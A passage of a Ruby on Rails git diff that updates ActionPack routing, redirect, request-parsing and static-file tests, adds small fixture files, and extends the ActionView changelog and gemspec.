@@ -1916,11 +1916,4 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
end
extras
end
-
- def assert_raise(e)
- result = yield
- flunk "Did not raise #{e}, but returned #{result.inspect}"
- rescue e
- assert true
- end
end
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
index 0326bf4562..4df2f8b98d 100644
--- a/actionpack/test/controller/send_file_test.rb
+++ b/actionpack/test/controller/send_file_test.rb
@@ -148,7 +148,7 @@ class SendFileTest < ActionController::TestCase
}
@controller.headers = {}
- assert !@controller.send(:send_file_headers!, options)
+ assert_raise(ArgumentError) { @controller.send(:send_file_headers!, options) }
end
def test_send_file_headers_guess_type_from_extension
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
index 8a19129695..981cf2426e 100644
--- a/actionpack/test/dispatch/mime_type_test.rb
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -31,21 +31,21 @@ class MimeTypeTest < ActiveSupport::TestCase
test "parse text with trailing star at the beginning" do
accept = "text/*, text/html, application/json, multipart/form-data"
- expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
+ expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
test "parse text with trailing star in the end" do
accept = "text/html, application/json, multipart/form-data, text/*"
- expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML]
+ expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
test "parse text with trailing star" do
accept = "text/*"
- expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON]
+ expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON]
parsed = Mime::Type.parse(accept)
assert_equal expect, parsed
end
diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb
index 30e95a0b75..683a4f01e2 100644
--- a/actionpack/test/dispatch/mount_test.rb
+++ b/actionpack/test/dispatch/mount_test.rb
@@ -5,7 +5,7 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
class FakeEngine
def self.routes
- Object.new
+ @routes ||= ActionDispatch::Routing::RouteSet.new
end
def self.call(env)
@@ -27,12 +27,23 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
scope "/its_a" do
mount SprocketsApp, :at => "/sprocket"
end
+
+ resources :users do
+ mount FakeEngine, :at => "/fakeengine", :as => :fake_mounted_at_resource
+ end
end
def app
Router
end
+ def test_app_name_is_properly_generated_when_engine_is_mounted_in_resources
+ assert Router.mounted_helpers.method_defined?(:user_fake_mounted_at_resource),
+ "A mounted helper should be defined with a parent's prefix"
+ assert Router.named_routes.routes[:user_fake_mounted_at_resource],
+ "A named route should be defined with a parent's prefix"
+ end
+
def test_trailing_slash_is_not_removed_from_path_info
get "/sprockets/omg/"
assert_equal "/sprockets -- /omg/", response.body
diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb
index e519fff51e..08501d19c0 100644
--- a/actionpack/test/dispatch/prefix_generation_test.rb
+++ b/actionpack/test/dispatch/prefix_generation_test.rb
@@ -32,12 +32,18 @@ module TestGenerationPrefix
get "/conflicting_url", :to => "inside_engine_generating#conflicting"
get "/foo", :to => "never#invoked", :as => :named_helper_that_should_be_invoked_only_in_respond_to_test
- get "/relative_path_redirect", :to => redirect("foo")
+ get "/relative_path_root", :to => redirect("")
+ get "/relative_path_redirect", :to => redirect("foo")
+ get "/relative_option_root", :to => redirect(:path => "")
get "/relative_option_redirect", :to => redirect(:path => "foo")
+ get "/relative_custom_root", :to => redirect { |params, request| "" }
get "/relative_custom_redirect", :to => redirect { |params, request| "foo" }
- get "/absolute_path_redirect", :to => redirect("/foo")
+ get "/absolute_path_root", :to => redirect("/")
+ get "/absolute_path_redirect", :to => redirect("/foo")
+ get "/absolute_option_root", :to => redirect(:path => "/")
get "/absolute_option_redirect", :to => redirect(:path => "/foo")
+ get "/absolute_custom_root", :to => redirect { |params, request| "/" }
get "/absolute_custom_redirect", :to => redirect { |params, request| "/foo" }
end
@@ -190,46 +196,64 @@ module TestGenerationPrefix
assert_equal "engine", last_response.body
end
+ test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_path_root"
+ verify_redirect "http://example.org/awesome/blog"
+ end
+
test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
get "/awesome/blog/relative_path_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/awesome/blog/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/awesome/blog/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/awesome/blog/foo"
+ end
+
+ test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_option_root"
+ verify_redirect "http://example.org/awesome/blog"
end
test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
get "/awesome/blog/relative_option_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/awesome/blog/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/awesome/blog/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/awesome/blog/foo"
+ end
+
+ test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+ get "/awesome/blog/relative_custom_root"
+ verify_redirect "http://example.org/awesome/blog"
end
test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
get "/awesome/blog/relative_custom_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/awesome/blog/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/awesome/blog/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/awesome/blog/foo"
+ end
+
+ test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_path_root"
+ verify_redirect "http://example.org/"
end
test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
get "/awesome/blog/absolute_path_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_option_root"
+ verify_redirect "http://example.org/"
end
test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
get "/awesome/blog/absolute_option_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+ get "/awesome/blog/absolute_custom_root"
+ verify_redirect "http://example.org/"
end
test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
get "/awesome/blog/absolute_custom_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/foo"
end
# Inside Application
@@ -320,6 +344,17 @@ module TestGenerationPrefix
path = engine_object.polymorphic_url(Post.new, :host => "www.example.com")
assert_equal "http://www.example.com/awesome/blog/posts/1", path
end
+
+ private
+ def verify_redirect(url, status = 301)
+ assert_equal status, last_response.status
+ assert_equal url, last_response.headers["Location"]
+ assert_equal expected_redirect_body(url), last_response.body
+ end
+
+ def expected_redirect_body(url)
+ %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+ end
end
class EngineMountedAtRoot < ActionDispatch::IntegrationTest
@@ -332,12 +367,18 @@ module TestGenerationPrefix
routes.draw do
get "/posts/:id", :to => "posts#show", :as => :post
- get "/relative_path_redirect", :to => redirect("foo")
+ get "/relative_path_root", :to => redirect("")
+ get "/relative_path_redirect", :to => redirect("foo")
+ get "/relative_option_root", :to => redirect(:path => "")
get "/relative_option_redirect", :to => redirect(:path => "foo")
+ get "/relative_custom_root", :to => redirect { |params, request| "" }
get "/relative_custom_redirect", :to => redirect { |params, request| "foo" }
- get "/absolute_path_redirect", :to => redirect("/foo")
+ get "/absolute_path_root", :to => redirect("/")
+ get "/absolute_path_redirect", :to => redirect("/foo")
+ get "/absolute_option_root", :to => redirect(:path => "/")
get "/absolute_option_redirect", :to => redirect(:path => "/foo")
+ get "/absolute_custom_root", :to => redirect { |params, request| "/" }
get "/absolute_custom_redirect", :to => redirect { |params, request| "/foo" }
end
@@ -390,46 +431,75 @@ module TestGenerationPrefix
assert_equal "/posts/1", last_response.body
end
+ test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+ get "/relative_path_root"
+ verify_redirect "http://example.org/"
+ end
+
test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
get "/relative_path_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+ get "/relative_option_root"
+ verify_redirect "http://example.org/"
end
test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
get "/relative_option_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+ get "/relative_custom_root"
+ verify_redirect "http://example.org/"
end
test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
get "/relative_custom_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+ get "/absolute_path_root"
+ verify_redirect "http://example.org/"
end
test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
get "/absolute_path_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+ get "/absolute_option_root"
+ verify_redirect "http://example.org/"
end
test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
get "/absolute_option_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+ verify_redirect "http://example.org/foo"
+ end
+
+ test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+ get "/absolute_custom_root"
+ verify_redirect "http://example.org/"
end
test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
get "/absolute_custom_redirect"
- assert_equal 301, last_response.status
- assert_equal "http://example.org/foo", last_response.headers["Location"]
- assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
- end
+ verify_redirect "http://example.org/foo"
+ end
+
+ private
+ def verify_redirect(url, status = 301)
+ assert_equal status, last_response.status
+ assert_equal url, last_response.headers["Location"]
+ assert_equal expected_redirect_body(url), last_response.body
+ end
+
+ def expected_redirect_body(url)
+ %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+ end
end
end
diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb
index f072a9f717..d82493140f 100644
--- a/actionpack/test/dispatch/request/query_string_parsing_test.rb
+++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb
@@ -11,6 +11,17 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
head :ok
end
end
+ class EarlyParse
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ # Trigger a Rack parse so that env caches the query params
+ Rack::Request.new(env).params
+ @app.call(env)
+ end
+ end
def teardown
TestController.last_query_parameters = nil
@@ -93,6 +104,21 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
assert_parses({"action" => ['1']}, "action[]=1&action[]")
end
+ test "perform_deep_munge" do
+ ActionDispatch::Request::Utils.perform_deep_munge = false
+ begin
+ assert_parses({"action" => nil}, "action")
+ assert_parses({"action" => {"foo" => nil}}, "action[foo]")
+ assert_parses({"action" => {"foo" => {"bar" => nil}}}, "action[foo][bar]")
+ assert_parses({"action" => {"foo" => {"bar" => [nil]}}}, "action[foo][bar][]")
+ assert_parses({"action" => {"foo" => [nil]}}, "action[foo][]")
+ assert_parses({"action" => {"foo" => [{"bar" => nil}]}}, "action[foo][][bar]")
+ assert_parses({"action" => ['1',nil]}, "action[]=1&action[]")
+ ensure
+ ActionDispatch::Request::Utils.perform_deep_munge = true
+ end
+ end
+
test "query string with empty key" do
assert_parses(
{ "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
@@ -131,6 +157,10 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
set.draw do
get ':action', :to => ::QueryStringParsingTest::TestController
end
+ @app = self.class.build_app(set) do |middleware|
+ middleware.use(EarlyParse)
+ end
+
get "/parse", actual
assert_response :ok
diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb
index a244d1364c..df55fcc8bc 100644
--- a/actionpack/test/dispatch/request/session_test.rb
+++ b/actionpack/test/dispatch/request/session_test.rb
@@ -68,13 +68,12 @@ module ActionDispatch
assert_equal '1', session.fetch(:one)
assert_equal '2', session.fetch(:two, '2')
- assert_equal '2', session.fetch(:two)
+ assert_nil session.fetch(:two, nil)
assert_equal 'three', session.fetch(:three) {|el| el.to_s }
- assert_equal 'three', session.fetch(:three)
assert_raise KeyError do
- session.fetch(:four)
+ session.fetch(:three)
end
end
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index f6de9748ca..f79fe47897 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -93,6 +93,14 @@ class RequestTest < ActiveSupport::TestCase
assert_equal '1.1.1.1', request.remote_ip
end
+ test "remote ip spoof protection ignores private addresses" do
+ request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.17.19.51',
+ 'HTTP_CLIENT_IP' => '172.17.19.51',
+ 'REMOTE_ADDR' => '1.1.1.1',
+ 'HTTP_X_BLUECOAT_VIA' => 'de462e07a2db325e'
+ assert_equal '1.1.1.1', request.remote_ip
+ end
+
test "remote ip v6" do
request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
@@ -598,7 +606,7 @@ class RequestTest < ActiveSupport::TestCase
'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
request.expects(:parameters).at_least_once.returns({})
assert_equal [Mime::JS], request.formats
-
+
request = stub_request 'CONTENT_TYPE' => 'application/xml; charset=UTF-8',
'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest"
request.expects(:parameters).at_least_once.returns({})
@@ -616,10 +624,10 @@ class RequestTest < ActiveSupport::TestCase
test "format is not nil with unknown format" do
request = stub_request
request.expects(:parameters).at_least_once.returns({ format: :hello })
- assert_equal request.format.nil?, true
- assert_equal request.format.html?, false
- assert_equal request.format.xml?, false
- assert_equal request.format.json?, false
+ assert request.format.nil?
+ assert_not request.format.html?
+ assert_not request.format.xml?
+ assert_not request.format.json?
end
test "formats with xhr request" do
@@ -836,6 +844,19 @@ class RequestTest < ActiveSupport::TestCase
end
end
+ test "setting variant" do
+ request = stub_request
+ request.variant = :mobile
+ assert_equal :mobile, request.variant
+ end
+
+ test "setting variant with non symbol value" do
+ request = stub_request
+ assert_raise ArgumentError do
+ request.variant = "mobile"
+ end
+ end
+
protected
def stub_request(env = {})
diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb
index c8038bbd7c..18a52f13a7 100644
--- a/actionpack/test/dispatch/routing/inspector_test.rb
+++ b/actionpack/test/dispatch/routing/inspector_test.rb
@@ -203,6 +203,18 @@ module ActionDispatch
assert_no_match(/\/sprockets/, output.first)
end
+ def test_rake_routes_shows_route_defined_in_under_assets_prefix
+ output = draw do
+ scope '/sprockets' do
+ get '/foo' => 'foo#bar'
+ end
+ end
+ assert_equal [
+ "Prefix Verb URI Pattern Controller#Action",
+ " foo GET /sprockets/foo(.:format) foo#bar"
+ ], output
+ end
+
def test_redirect
output = draw do
get "/foo" => redirect("/foo/bar"), :constraints => { :subdomain => "admin" }
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index 3e9e90a950..5a532dc38f 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -2864,6 +2864,36 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert !@request.params[:action].frozen?
end
+ def test_multiple_positional_args_with_the_same_name
+ draw do
+ get '/downloads/:id/:id.tar' => 'downloads#show', as: :download, format: false
+ end
+
+ expected_params = {
+ controller: 'downloads',
+ action: 'show',
+ id: '1'
+ }
+
+ get '/downloads/1/1.tar'
+ assert_equal 'downloads#show', @response.body
+ assert_equal expected_params, @request.symbolized_path_parameters
+ assert_equal '/downloads/1/1.tar', download_path('1')
+ assert_equal '/downloads/1/1.tar', download_path('1', '1')
+ end
+
+ def test_absolute_controller_namespace
+ draw do
+ namespace :foo do
+ get '/', to: '/bar#index', as: 'root'
+ end
+ end
+
+ get '/foo'
+ assert_equal 'bar#index', @response.body
+ assert_equal '/foo', foo_root_path
+ end
+
private
def draw(&block)
@@ -3235,7 +3265,9 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
get "/foo/:id" => redirect("/foo/bar/%{id}")
get "/bar/:id" => redirect(:path => "/foo/bar/%{id}")
+ get "/baz/:id" => redirect("/baz?id=%{id}&foo=?&bar=1#id-%{id}")
get "/foo/bar/:id" => ok
+ get "/baz" => ok
end
end
@@ -3251,6 +3283,14 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
verify_redirect "http://www.example.com/foo/bar/1%3E"
end
+ test "path redirect escapes interpolated parameters correctly" do
+ get "/foo/1%201"
+ verify_redirect "http://www.example.com/foo/bar/1%201"
+
+ get "/baz/1%201"
+ verify_redirect "http://www.example.com/baz?id=1+1&foo=?&bar=1#id-1%201"
+ end
+
private
def verify_redirect(url, status=301)
assert_equal status, @response.status
@@ -3317,6 +3357,8 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
get '/foo' => ok, as: :foo
get '/post(/:action(/:id))' => ok, as: :posts
+ get '/:foo/:foo_type/bars/:id' => ok, as: :bar
+ get '/projects/:id.:format' => ok, as: :project
end
end
@@ -3339,6 +3381,16 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
assert_equal '/post', Routes.url_helpers.posts_path
assert_equal '/post', posts_path
end
+
+ test 'segments with same prefix are replaced correctly' do
+ assert_equal '/foo/baz/bars/1', Routes.url_helpers.bar_path('foo', 'baz', '1')
+ assert_equal '/foo/baz/bars/1', bar_path('foo', 'baz', '1')
+ end
+
+ test 'segments separated with a period are replaced correctly' do
+ assert_equal '/projects/1.json', Routes.url_helpers.project_path(1, :json)
+ assert_equal '/projects/1.json', project_path(1, :json)
+ end
end
class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
@@ -3686,3 +3738,28 @@ class TestRedirectRouteGeneration < ActionDispatch::IntegrationTest
end
end
end
+
+class TestUrlGenerationErrors < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ get "/products/:id" => 'products#show', :as => :product
+ end
+ end
+
+ def app; Routes end
+
+ include Routes.url_helpers
+
+ test "url helpers raise a helpful error message whem generation fails" do
+ url, missing = { action: 'show', controller: 'products', id: nil }, [:id]
+ message = "No route matches #{url.inspect} missing required keys: #{missing.inspect}"
+
+ # Optimized url helper
+ error = assert_raises(ActionController::UrlGenerationError){ product_path(nil) }
+ assert_equal message, error.message
+
+ # Non-optimized url helper
+ error = assert_raises(ActionController::UrlGenerationError, message){ product_path(id: nil) }
+ assert_equal message, error.message
+ end
+end
diff --git a/actionpack/test/dispatch/static_test.rb b/actionpack/test/dispatch/static_test.rb
index acccbcb2e6..d83461e52f 100644
--- a/actionpack/test/dispatch/static_test.rb
+++ b/actionpack/test/dispatch/static_test.rb
@@ -137,7 +137,7 @@ module StaticTests
end
def with_static_file(file)
- path = "#{FIXTURE_LOAD_PATH}/public" + file
+ path = "#{FIXTURE_LOAD_PATH}/#{public_path}" + file
File.open(path, "wb+") { |f| f.write(file) }
yield file
ensure
@@ -149,11 +149,24 @@ class StaticTest < ActiveSupport::TestCase
DummyApp = lambda { |env|
[200, {"Content-Type" => "text/plain"}, ["Hello, World!"]]
}
- App = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/public", "public, max-age=60")
def setup
- @app = App
+ @app = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/public", "public, max-age=60")
+ end
+
+ def public_path
+ "public"
end
include StaticTests
end
+
+class StaticEncodingTest < StaticTest
+ def setup
+ @app = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/公共", "public, max-age=60")
+ end
+
+ def public_path
+ "公共"
+ end
+end
diff --git a/actionpack/test/dispatch/url_generation_test.rb b/actionpack/test/dispatch/url_generation_test.rb
index f919592d24..fdea27e2d2 100644
--- a/actionpack/test/dispatch/url_generation_test.rb
+++ b/actionpack/test/dispatch/url_generation_test.rb
@@ -66,7 +66,7 @@ module TestUrlGeneration
assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "http://")
end
- test "port option overides the host" do
+ test "port option overrides the host" do
assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: 8080)
end
diff --git a/actionpack/test/fixtures/localized/hello_world.it.erb b/actionpack/test/fixtures/localized/hello_world.it.erb
new file mode 100644
index 0000000000..9191fdc187
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.it.erb
@@ -0,0 +1 @@
+Ciao Mondo \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
new file mode 100644
index 0000000000..e905d051bf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
@@ -0,0 +1 @@
+phablet \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
new file mode 100644
index 0000000000..65526af8cf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
@@ -0,0 +1 @@
+tablet \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
new file mode 100644
index 0000000000..cd222a4a49
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
@@ -0,0 +1 @@
+phone \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
new file mode 100644
index 0000000000..c86c3f3551
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
@@ -0,0 +1 @@
+none \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
new file mode 100644
index 0000000000..317801ad30
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
@@ -0,0 +1 @@
+mobile \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/bar.html b/actionpack/test/fixtures/公共/foo/bar.html
new file mode 100644
index 0000000000..9a35646205
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/bar.html
@@ -0,0 +1 @@
+/foo/bar.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/baz.css b/actionpack/test/fixtures/公共/foo/baz.css
new file mode 100644
index 0000000000..b5173fbef2
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionpack/test/fixtures/公共/foo/index.html b/actionpack/test/fixtures/公共/foo/index.html
new file mode 100644
index 0000000000..497a2e898f
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/index.html
@@ -0,0 +1 @@
+/foo/index.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/こんにちは.html b/actionpack/test/fixtures/公共/foo/こんにちは.html
new file mode 100644
index 0000000000..1df9166522
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/こんにちは.html
@@ -0,0 +1 @@
+means hello in Japanese
diff --git a/actionpack/test/fixtures/公共/index.html b/actionpack/test/fixtures/公共/index.html
new file mode 100644
index 0000000000..525950ba6b
--- /dev/null
+++ b/actionpack/test/fixtures/公共/index.html
@@ -0,0 +1 @@
+/index.html \ No newline at end of file
diff --git a/actionview/CHANGELOG.md b/actionview/CHANGELOG.md
index 787e6d68be..a57da72d8c 100644
--- a/actionview/CHANGELOG.md
+++ b/actionview/CHANGELOG.md
@@ -1,3 +1,73 @@
+* Use `display:none` instead of `display:inline` for hidden fields
+
+ Fixes #6403
+
+ *Gaelian Ditchburn*
+
+* The `video_tag` helper accepts a number as `:size`
+
+ The `:size` option of the `video_tag` helper now can be specified
+ with a stringified number. The `width` and `height` attributes of
+ the generated tag will be the same.
+
+ *Kuldeep Aggarwal*
+
+* A Cycle object should accept an array and cycle through it as it would with a set of
+ comma-separated objects.
+
+ arr = [1,2,3]
+ cycle(arr) # => '1'
+ cycle(arr) # => '2'
+ cycle(arr) # => '3'
+
+ Previously, it would return the array as a string, because it took the array as a
+ single object:
+
+ arr = [1,2,3]
+ cycle(arr) # => '[1,2,3]'
+ cycle(arr) # => '[1,2,3]'
+ cycle(arr) # => '[1,2,3]'
+
+ *Kristian Freeman*
+
+* Label tags generated by collection helpers only inherit the `:index` and
+ `:namespace` from the input, because only these attributes modifies the
+ `for` attribute of the label. Also, the input attributes don't have
+ precedence over the label attributes anymore.
+
+ Before:
+
+ collection = [[1, true, { class: 'foo' }]]
+ f.collection_check_boxes :options, collection, :second, :first do |b|
+ b.label(class: 'my_custom_class')
+ end
+
+ # => <label class="foo" for="user_active_true">1</label>
+
+ After:
+
+ collection = [[1, true, { class: 'foo' }]]
+ f.collection_check_boxes :options, collection, :second, :first do |b|
+ b.label(class: 'my_custom_class')
+ end
+
+ # => <label class="my_custom_class" for="user_active_true">1</label>
+
+ *Andriel Nuernberg*
+
+* Fixed a long-standing bug in `json_escape` that causes quotation marks to be stripped.
+ This method also escapes the \u2028 and \u2029 unicode newline characters which are
+ treated as \n in JavaScript. This matches the behaviour of the AS::JSON encoder. (The
+ original change in the encoder was introduced in #10534.)
+
+ *Godfrey Chan*
+
+* `ActionView::MissingTemplate` includes underscore when raised for a partial.
+
+ Fixes #13002.
+
+ *Yves Senn*
+
* Use `set_backtrace` instead of instance variable `@backtrace` in ActionView exceptions
*Shimpei Makimoto*
diff --git a/actionview/MIT-LICENSE b/actionview/MIT-LICENSE
index 5c668d9624..d58dd9ed9b 100644
--- a/actionview/MIT-LICENSE
+++ b/actionview/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/actionview/actionview.gemspec b/actionview/actionview.gemspec
index cdac074973..e45dd04225 100644
--- a/actionview/actionview.gemspec
+++ b/actionview/actionview.gemspec
@@ -20,10 +20,10 @@ Gem::Specification.new do |s|
s.requirements << 'none'
s.add_dependency 'activesupport', version
- s.add_dependency 'activemodel', version
- s.add_dependency 'builder', '~> 3.1.0'
+ s.add_dependency 'builder', '~> 3.1'
s.add_dependency 'erubis', '~> 2.7.0'
